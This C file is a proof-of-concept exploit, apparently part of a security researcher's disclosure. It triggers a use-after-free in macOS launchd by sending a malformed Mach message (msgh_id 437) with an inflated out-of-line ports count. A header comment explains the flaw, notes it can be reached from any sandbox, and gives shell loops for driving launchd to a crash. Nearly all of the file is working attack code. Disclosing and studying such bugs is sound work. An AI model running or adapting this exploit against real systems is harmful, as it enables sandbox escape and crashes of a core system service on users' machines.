// ianbeer
|
// build: clang -o legacy_ipc legacy_ipc.c
|
|
/*
|
Controlled vm_deallocate size can lead to UaF in launchd
|
|
msgh_id 437 is parsed by launchd's autogenerated MIG code in the function at 0x10000420D (10.11.6)
|
|
This mig method takes an out-of-line-ports descriptor but the code doesn't verify that the request_fdsCnt
|
is equal to the actual descriptor size and it uses the untrusted one to call mig_deallocate to unmap the memory.
|
|
By passing a larger value we can cause subsequent pages to be deallocated while they're still in use.
|
|
This bug can be reached from any sandbox on OS X/iOS.
|
|
to actually see a crash run this PoC in a loop and also do something which causes a lot of launchd traffic eg:
|
in one terminal: while true; do ./legacy_ipc; done
|
in another: while true; do /Applications/Safari.app/Contents/MacOS/Safari & sleep 0.4 && killall Safari; done
|
|
tested on OS X 10.11.6 (15G31) on MacBookAir5,2
|
*/
|
|
#include <fcntl.h>
|
#include <stdlib.h>
|
#include <string.h>
|
#include <stdio.h>
|
|
#include <mach/mach.h>
|
#include <mach/mig.h>
|
|
typedef struct {
|
mach_msg_header_t Head;
|
/* start of the kernel processed data */
|
mach_msg_body_t msgh_body;
|
mach_msg_ool_descriptor_t request;
|
mach_msg_ool_ports_descriptor_t request_fds;
|
mach_msg_port_descriptor_t asport;
|
/* end of the kernel processed data */
|
NDR_record_t NDR;
|
mach_msg_type_number_t requestCnt;
|
mach_msg_type_number_t request_fdsCnt;
|
} Request;
|
|
int main(int argc, char** argv) {
|
Request req = {0};
|
Request* InP = &req;
|
|
mach_port_t ports[1];
|
ports[0] = MACH_PORT_NULL; // any mach port
|
|
// from old 10.9.5 launchd MIG .defs:
|
|
InP->msgh_body.msgh_descriptor_count = 3;
|
|
InP->request.address = (void *)(NULL);
|
InP->request.size = 0;
|
InP->request.deallocate = FALSE;
|
InP->request.copy = MACH_MSG_VIRTUAL_COPY;
|
InP->request.type = MACH_MSG_OOL_DESCRIPTOR;
|
|
InP->request_fds.address = (void *)(&ports[0]);
|
InP->request_fds.count = 1;
|
InP->request_fds.disposition = 17;
|
InP->request_fds.deallocate = FALSE;
|
InP->request_fds.type = MACH_MSG_OOL_PORTS_DESCRIPTOR;
|
|
|
InP->asport.name = MACH_PORT_NULL;
|
InP->asport.disposition = 19;
|
InP->asport.type = MACH_MSG_PORT_DESCRIPTOR;
|
|
InP->NDR = NDR_record;
|
|
InP->requestCnt = 0;
|
|
InP->request_fdsCnt = 0x2000/4;
|
|
InP->Head.msgh_bits = MACH_MSGH_BITS_COMPLEX|
|
MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE);
|
InP->Head.msgh_remote_port = bootstrap_port;
|
InP->Head.msgh_local_port = mig_get_reply_port();
|
InP->Head.msgh_id = 437;
|
|
kern_return_t msg_result;
|
msg_result = mach_msg(&InP->Head,
|
MACH_SEND_MSG/*|MACH_RCV_MSG*/|MACH_MSG_OPTION_NONE,
|
(mach_msg_size_t)sizeof(Request),
|
0,//(mach_msg_size_t)sizeof(Reply),
|
InP->Head.msgh_local_port,
|
MACH_MSG_TIMEOUT_NONE,
|
MACH_PORT_NULL);
|
|
return InP;
|
}
|
|